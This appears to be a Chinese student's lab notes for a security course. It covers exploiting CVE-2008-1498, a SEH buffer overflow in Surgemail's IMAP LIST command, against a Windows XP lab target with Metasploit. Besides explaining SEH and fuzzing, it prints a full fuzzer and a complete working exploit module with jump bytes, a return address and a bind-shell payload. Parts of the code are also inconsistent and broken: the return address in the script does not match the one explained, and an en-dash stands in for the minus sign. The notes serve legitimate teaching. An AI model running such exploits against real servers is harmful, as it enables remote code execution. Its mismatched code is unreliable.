2021年第四次网安实践内容笔记
实验环境
操作系统
- 攻击机Attacker:Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
- 靶机Target:Windows XP Professional 2002 Service Pack 3
Metasploit
- 版本Version:
- Framework: 6.0.41-dev
- Console : 6.0.41-dev
漏洞简述 CVE-2008-1498
NetWin Surgemail 3.8k4-4 - IMAP (Authenticated) Remote LIST Universal
有关漏洞的基础信息在该网站上都有,包括:
- 用于演示的特定版本的Surgemail
- Python的漏洞利用Exploit代码
漏洞内容
NetWin Surgemail 3.8k4-4和更早版本中的IMAP服务,会允许能够完成身份验证的用户,通过构造一个超长的LIST命令的参数,来利用堆栈缓冲区溢出的漏洞,达到执行任意代码的目的。
模糊测试 Fuzz
模糊测试简单来说就是自动化生成大量随机的、非预期的输入,触发一些平常很难触及的程序逻辑分支,以期让目标程序Crash
对导致目标程序Crash的输入内容进行分析,有可能发现目标程序的一些漏洞。
[翻译]模糊测试: 初学者入门指南-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com
结构化异常处理 SEH
什么是异常处理Exception Handler
异常处理Exception Handler是程序中用于处理程序运行中的报错的代码,一般表现为如下的try-catch结构
try {
// 尝试运行的代码,如果无法出现异常则跳转到catch中的代码处理异常
} catch {
// 当异常出现时用于处理异常的代码
}
而SEH是结构化异常处理的简称(Structure Exception Handler),是Windows操作系统用于处理异常的一种数据结构,每个SEH包含两个DWORD指针,分别为:
- DWORD: Pointer to next SEH record
- 指向下一个SEH,如果当前SEH无法处理这个异常,将会从当前跳转到下一个
- DWORD: Pointer to Exception Handler
- 指向保存异常处理的代码,即常说的Exception Handler代码
SEH是基于线程的,当线程初始化的时候,Windows系统会自动向栈中安装一个SEH作为线程默认的异常处理,即直接退出线程,弹窗报错 “xxx has encountered a problem and needs to close” 。
如果源程序代码中使用了异常处理机制,如try-catch结构或者Assert断言,编译器将会根据这些内容向当前函数的栈帧中安装一个SEH。所以一般来说,栈中一般会同时存在多个SEH,这些SEH以链式的结构进行存储,称为SEH-chain。
在栈上的保存结构如下图
当出现异常时
当系统开始处理出现的异常时,会开始调用EXCEPTION_DISPOSITION函数,此时在ESP+8的位置存放着Establisher Frame指针,该指针指向SEH-chain中的第一个SEH的第一个DWORD指针,即指向了一个指向了下一个SEH的指针。此时程序开始执行第一个SEH的Exception Handler部分。
我们要做的SEH溢出漏洞利用,攻击串的结构如下所示:
[一段任意的缓冲区填充 | NOP空指令滑行区 | ShellCode | Near JMP | Short JMP | PPR]
我们所要做的是,让攻击串的Short JMP指令(四个字节)覆盖第一个SEH结构的第一个DWORD指针,即覆盖指向下一个SEH的指针,让攻击串中的指向pop-pop-ret序列的指针,覆盖第一个SEH的第二个DWORD指针,即覆盖EH。
从上文可以看出,SEH漏洞利用几乎是要和pop-pop-ret序列绑定的。
当处理异常的过程中,系统尝试使用第一个SEH的EH指向的代码处理异常时,将会根据地址找到我们预先找好的pop-pop-ret序列,两个pop指令执行结束后,ESP就指向了Establisher Frame指针,此时再执行一次ret指令,将会引导EIP指向Establisher Frame所保存的地址,即指向了栈中第一个SEH的第一个DWORD指针,即下一条命令执行Short JMP。
执行一次短跳转后,EIP将被我们引导到更低地址的近跳转Near JMP,再通过一次跳转,将EIP引导到较远的位置,再通过NOP指令让EIP滑到ShellCode的起始位置,来执行比较长的ShellCode。
图示如下
为什么不直接让EH指向ShellCode
因为根据操作系统不同,版本不同,被读入的攻击串的存放地址也是不同的。
直接给EH指定ShellCode地址的话,如果换了另一个操作系统,比如Windows 7,那脚本在攻击过程中是大概率找不到ShellCode的。
因为存在这种问题,所以要尽量使用程序中已有的信息,不依赖于绝对的地址,来构建更加具有泛用性的攻击脚本。
为什么要用两次跳转
因为一个DWORD是4个字节,一次近跳转是5个字节,而一次短跳转是4个字节。
显然无法直接填充一个近跳转,但是填充短跳转的话,跳转距离又不够写入ShellCode的,所以就需要跳转两次,将EIP引导到较远的位置,再通过NOP指令让EIP滑到ShellCode的起始位置,来执行比较长的ShellCode。
参考资料
攻击windows异常处理机制SEH_0pt1mus-CSDN博客
结构化异常SEH处理机制详细介绍(一) - 活着的虫子 - 博客园 (cnblogs.com)
The need for a POP POP RET instruction sequence | Dimitrios Kalemis (wordpress.com)
具体操作流程
脚本保存位置
~/.msf4/modules/脚本具体分类
这个保存位置一般都是保存的用户自己写的脚本。
这里和老师的课件内容不一样,课件是直接把内容保存在了/usr/share/metasploit-framework/modules
中,如果把自己的脚本也保存在那个文件夹下,可能会破坏原有的Metasploit的主干代码。
靶机上安装Surgemail以及Immunity Debugger
Surgemail的安装包可以从靶机上直接拿,也可以从上文提到的官网上下载对应含有漏洞的版本。
Immunity Debugger靶机上也直接有,也可以去网上找Immunity Debugger (immunityinc.com)官网下载
需要注意的是,因为Surgemail是系统服务,所以Immunity Debugger需要用系统的管理员权限来运行,靶机的用户密码是test
命令行开启关闭Surgemail服务
net start surgemail # 主动开启Surgemail服务
net stop surgemail # 主动关闭Surgemail服务
在每次发生Crash之后,Surgemail大概率都会进入异常,需要手动关闭(有可能他自己已经关了)然后再手动开启。
管理员权限运行Immunity Debugger
右键点击安装好的Immunity Debugger
进入之后,Attach
到当前正在运行的Surgemail服务上
需要注意的是,刚Attach上去的时候,Debugger会处于Paused状态,需要手动点一下上面的运行。
模糊测试找到Crash点
在进行漏洞利用之前首先需要检查靶机上是否存在漏洞,常见方法就是进行模糊测试Fuzz,以下是书中提供的脚本
模糊测试脚本,做了一些小修改,目前保证可以在我的电脑上稳定跑:
require 'msf/core' # POINT A
class Metasploit4 < Msf::Auxiliary # POINT B
include Msf::Exploit::Remote::Imap # POINT C
include Msf::Auxiliary::Dos # POINT D
def initialize # POINT E
super(
'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to build a simple IMAP
fuzzer. Account IMAP credentials are
required in this fuzzer.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$ Revision: 1 $'
)
end
def fuzz_str
return Rex::Text.rand_text_alphanumeric(rand(4096)) # POINT F
end
def run # POINT G
srand(0)
while (true)
connected = connect_login() # POINT H
if not connected
print_status('Host is not responding - this is G00D ;)')
break
end
print_status('Generating fuzzed data...')
fuzzed = fuzz_str() # POINT I
print_status(
"Sending fuzzed data, buffer length = %d" % fuzzed.length
)
req = '0002 LIST () "/'
req += fuzzed + '" "PWNED"' + "\r\n" # POINT J
print_status(req)
res = raw_send_recv(req) # POINT K
if !res.nil?
print_status(res)
else
print_status('Server crashed, no response')
break
end
disconnect() # POINT L
end
end
end
保存脚本
将该脚本保存到~/.msf4/modules/auxiliary/fuzzers/imap_fuzz.rb
如果不想重新打开MSF窗口来重新载入这个新加的脚本,可以在MSF中(不是在bash里)
reload_all
use auxiliary/fuzzers/imap_fuzz
设置参数
set imapuser <user> # 安装Surgemail的时候注册用户名
set imappass <pass> # 对应用户的密码
set rhosts 192.168.xxx.xxx # 靶机IP地址
运行脚本
msf6 auxiliary(fuzzers/imap_fuzz) > exploit
结果如下
这时来到靶机的Debugger中,发现Surgemail进程已经因为错误而停止运行了
对脚本内容的一些解释
Point A
require 'msf/core' # POINT A
我们将包含核心库中的所有功能。
MSF具有模块化结构,分为以下几部分:框架核心,基础和ui。
关于MSF架构的完整讨论不在讨论范围之内,MSF地核心库提供了很多接口,它提供了与漏洞利用模块,会话,插件等进行交互的必需功能。具体内容可参见Metasploit Developer’s Guide
Point B
class Metasploit4 < Msf::Auxiliary # POINT B
我们开始定义类并从Msf::Auxiliary
继承。 Metasploit
的auxiliary
模块的特殊之处在于,它们不一定是带有有效Payload
的漏洞利用程序。 相反,它们可以被视为侦察工具。 这包括端口扫描程序,模糊测试,信息收集等工具。
Point C & D
include Msf::Exploit::Remote::Imap # POINT C
include Msf::Auxiliary::Dos # POINT D
如参考资料“第14章所述”,这部分混入(Mixin)了IMAP类和DoS类。
关于Mixin,它是Ruby的include语法、Python的多重继承语法实现的一种编程模式,和Java中的多重继承的语法差不多,Ruby中是将其他模块include到类的定义中,其他模块中的方法、变量都会被mix到新定义的类中。
引用IMAP类可以让你使用它的登录功能,即登录到Surgemail服务
这个Fuzz测试器的目的则是让服务器崩溃,即这个模块将导致DoS(拒绝服务)
混入(Mixin)让该模块(module)有了IMAP类的登录功能与DoS类中的一些变量,这些内容在后面都会用到。可以看到,这个脚本中并没有提到imapuser
、imappass
、rhosts
、rport
变量,但是在设置参数的时候这些变量都存在,这些变量就是从这两个类中混入得到的。
Point E
def initialize # POINT E
super(
'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to build a simple IMAP
fuzzer. Account IMAP credentials are
required in this fuzzer.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$ Revision: 1 $'
)
end
引用父类即IMAP类和DoS类中的属性编辑构造函数initialize()
其实就是给这个脚本补充了一些信息,比如名字、描述、作者之类的。
Point F
def fuzz_str
return Rex::Text.rand_text_alphanumeric(rand(4096)) # POINT F
end
这里是用于生成发送给服务器的字符串的fuzz_str
方法。
目前设置的是生成长度最大为4096字节的一个由字母和数字组成(alphanumeric)的随机化(rand)串。
Rex
也是Metasploit的基本部分之一,它是Ruby语言的一个拓展库,可以将其视为Metasploit自己的Ruby API。Rex
可以提供一系列的类,例如生成汇编指令、缓冲区编码、基本日志记录、将任务分解为单独的作业等。
Point G
覆写(override)了父类中的run()
方法,当用户在MSF中执行run指令时,这个方法将会被调用。如果当前模块不是auxiliary
模块,而是一个exploit
模块的话,我们将会覆写(override)exploit()
方法。
Point H
connected = connect_login() # POINT H
使用IMAP类中的connect_login()
方法来连接到IMAP服务器,并提交自己的账号密码来进行身份验证。将会对靶机(由RHOSTS和RPORT来确定),使用给定的身份信息(IMAPUSER和IMAPPASS)进行登录。
如果连接失败的话,循环将会终止,一般此时就是服务器没有相应,表示服务器已经被我们生成的随机串搞到Crash了。
Point I & J & K
fuzzed = fuzz_str() # POINT I
req = '0002 LIST () "/'
req += fuzzed + '" "PWNED"' + "\r\n" # POINT J
print_status(req)
res = raw_send_recv(req) # POINT K
生成随机字符串,然后构造发给Surgemail服务的LIST()
命令,然后把命令发给靶机,获取返回的信息。
如果没有收到任何返回信息,说明服务已经停止,此时循环将会中断,在攻击机上打印“Server crashed, no response”表示靶机已经Crash了。如果收到返回信息,将会在攻击机上打印收到的返回信息。
Point L
disconnect() # POINT L
如果能够正常执行以上所有内容,正常连接、正常构造、正常发送、正常获得返回信息,脚本将在一轮循环的最后断开连接,然后开启下一轮循环,直至服务器Crash。
定位SEH的Exception Handler的具体位置
确定能覆盖SEH内容的输入串长度
经过一些尝试,以及参考资料提供的信息,当输入串的长度为11000的时候,通过靶机上的Debugger可以发现,SEH部分的内存已经被覆盖。可以通过修改脚本验证,将输入串的生成从随机生成修改为如下内容:
fuzzed = 'A' * 11000 # 注意上面不需要再调用fuzz_str()来生成了
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
在MSF中执行
rexploit
该命令可以无需重新reload_all
所有的脚本,会重新载入这个脚本,然后沿用之前定好的变量内容,重新exploit
,可以看到攻击机这边
在靶机这边的Debugger中也能看到,SEH内容已经被大量的A覆盖
通过View
- SEH chain
可以查看当前进程的SEH链,也可以从内存中看到大量A
通过不重复随机串定位EH的位置
为了准确覆盖EH,需要定位EH对于输入起始位置的偏移量,将脚本中fuzzed内容修改如下
fuzzed = Rex::Text.pattern_create(11000)
pattern_create()
会生成一个长度为11000的串,其四字节长度的子串是不重复的
执行结果如下:
在靶机可以查看第一个SEH的EH部分被覆盖的内容:
可以看到第一个SEH的EH被覆盖为了“684E3368”(在其他环境中运行可能是其他的串,但是在网安实践给出的环境中应该都是这个值)。
然后拿着这个覆盖的内容,回到Kali,使用MSF中,/usr/share/metasploit-framework/tools/exploit
中的pattern_offset
脚本,可以查看对应的偏移量。
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_offset.rb -q 684E3368 -l 11000
可以看到EH对应的4个字节的偏移量为,10361-10364
可以通过修改脚本对该偏移量进行一些验证,修改fuzzed内容如下
fuzzed = "\x41" * 10360 + "\x42" * 4 + "\x43" * 636
再次rexploit
运行脚本,来到靶机查看seh-chain 的内容发现EH内容已经被覆盖为我们特殊构造的\x42
再右键点击EH,选择Follow address in stack
,可以看到右下角框框中就来到了覆盖的位置,可以看到覆盖的效果如我们所想,中间EH的四个字节被覆盖为了\x42
,前后分别为A和C,即\x41
和\x43
。
此时我们可以确定我们已经掌握了正确的EH的偏移量,接下来将按照上文SEH中介绍的模式,构造攻击串。
通过构造Payload覆盖EH内容
上文我们所做的所有内容都是在通过模糊测试发现漏洞,所以我们是在auxiliary
模块中写脚本,接下来我们将直接编写Surgemail漏洞的真正的渗透攻击代码
再次说明一次利用SEH漏洞的过程
- 通过构造输入出发一次异常处理过程
- 用JMP指令覆盖NextSEH即第一个SEH的第一个DWORD指针,来实现跳转到ShellCode
- 用指向pop-pop-ret指令序列的指针覆盖SEHandler即第一个SEH的EH部分
找一个合适的pop-pop-ret序列
参考资料中给出了两种找PPR序列的方法:使用Debugger的mona脚本;使用MSF的msfpescan工具。
mona脚本
将corelan/mona: Corelan Repository for mona.py (github.com)或者老师给出的脚本保存到 C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\
文件夹下
在Immunity Debugger下方的命令行中输入
!mona seh
等脚本运行结束,来到C:\Program Files\Immunity Inc\Immunity Debugger
,可以看到出现了一个seh.txt
文本文件,内容如下
通过对SafeSEH功能、ASLR功能是否开启,来筛选出来一个能用的PPR序列
可以看到参考资料中所选的0x0078517e位置的序列,基本上啥安全功能都没开,可以作为一个可用的PPR序列
msfpescan工具
将Surgemail.exe从靶机中拷贝到Kali下,并在当前路径下开启MSF,使用如下命令
msfpescan -p ./surgemail.exe
也可以获取其中所有PPR序列的地址,但是信息要比mona脚本少很多。
漏洞利用代码框架
框架如下,保存至~/.msf4/modules/exploits/windows/imap/
目录。
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote # Point A
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,
'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 10351,
'DisableNops' => true,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end
def exploit
connected = connect_login
lead = "\x41" * 10360 # Point B
evil = lead + [target.ret].pack("A3") # Point C
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n" # Point D
sock.put(sploit)
handler
disconnect
end
end
对脚本内容的一些解释
'References' =>
[
[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
]
补充了漏洞的一些信息,BID和CVE是漏洞的编号,URL中则是漏洞的相关信息,以上补充的信息将会在MSF收到info
命令的时候打印出来
'Privileged' => false
也是补充了一些信息,说明该漏洞利用成功的时候,获取到的shell的权限不是特权用户(如root、Administrator或者SYSTEM),仅仅是普通用户。漏洞利用成功后,攻击者也可以通过其他方法进行提权,这里标记的只是刚渗透攻击成功的时候用户的权限。
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
}
DefaultOptions
部分是用来修改MSF中一些默认值的,这里修改了EXITFUNC
,表明我们的ShellCode运行的环境是线程Thread,当ShellCode退出线程,将会回到靶机的正常工作环境(而不是还在其他环境中)。
'Payload' =>
{
'Space' => 10351,
'DisableNops' => true,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
}
这是对Payload的一些属性的设置,Space
表明攻击负载Payload的最大长度为10351字节(因为需要留出9个字节的两次跳转的指令的长度),DisableNops
表明不允许自动填充NOP指令(因为我们自己手动填充了大量的NOP指令),BadChars
包含了可能会引起ShellCode不正常执行的一些字符(比如\x00
字符),这里写出的这些字符都将不会用作Payload的编码。
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ]
]
这里是添加了PPR序列的地址,之所以要前面声明Windows Universal
是因为Surgemail的这个漏洞是在任何版本的Windows上都会发生的,如果只会在特定版本出现,则需要设置特定的操作系统的版本。
'DefaultTarget' => 0
表明默认使用第0个Target,即上文定义的唯一一个Target。
lead = "\x41" * 10360 # Point B
evil = lead + [target.ret].pack("A3") # Point C
目前还没有开始构造,除了最后的PPR序列的地址,其他填充的目前都还是“A”
构造攻击串
根据上文的介绍,我们的攻击串的结构如下
[一段任意的缓冲区填充 | NOP空指令滑行区 | ShellCode | Near JMP | Short JMP | PPR]
其中前两段合并为全部填充NOP指令,即lead部分
ShellCode部分将由MSF框架中的其他脚本组成,将在执行脚本的时候设置,即payload部分
Near JMP部分将填充一个向低地址跳转的5字节近跳转指令,即near部分
“\xe9\xdd\xd7\xff\xff"是jmp dword 0xffffd7e2
的字节码,其中0xffffd7e2是-10270的补码,向低地址跳转了10270字节
Short JMP部分将填充一个向低地址跳转的4字节跳转指令,因为这部分覆盖的是SEH的NextSEH指针,所以叫nseh部分
PPR部分将由[target.ret].pack("A3")
填充PPR序列的地址
lead = "\x90" * (10351 – payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")
检查是否能正确覆盖
修改完上述的攻击脚本后,就可以进行攻击了,首先使用的攻击载荷Payload为generic/debug_trap
,这并不是一个真正的攻击载荷,而是发送了大量的\xCC
(中断指令),方便对渗透攻击指令的执行流程进行动态调试,这方便我们检查攻击过程中ShellCode是否已经被插入到了正确位置并正确被执行。
use exploit/windows/imap/surgemail_overflow
set imapuser <username>
set imappass <userpass>
set rhosts <target ip>
set payload generic/debug_trap
可以看到用generic/debug_trap
作为攻击载荷的时候,并不会获得Shell,出现上图信息基本上就是攻击成功了,具体信息需要来到靶机来查看
可以看到内容已经被覆盖成了我们想要的样子
真正的攻击
就把payload换一下就行,记得重启Surgemail,这样可能会出现不成功的情况,多试几次
这次不用开启Debugger了,要不然异常处理会被拦下来
set payload windows/shell_bind_tcp
亲测上面这个payload比《第14章》的那个好用
添加脚本的漏洞检测模块Check
最后完整能用的漏洞利用脚本如下surgemail_overflow.rb:
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,
'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Surgemail IMAP Server
version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
account credentials are required.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '28260' ],
[ 'CVE', '2008-1498' ],
[ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 10351,
'DisableNops' => true,
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
],
'DisclosureDate' => 'March 13 2008',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner and banner =~ /(Version 3.8k4-4)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connected = connect_login
# Final Evil String
lead = "\x90" * (10351 – payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end
end
是用于检测靶机上有无目标漏洞的,使用方法如下图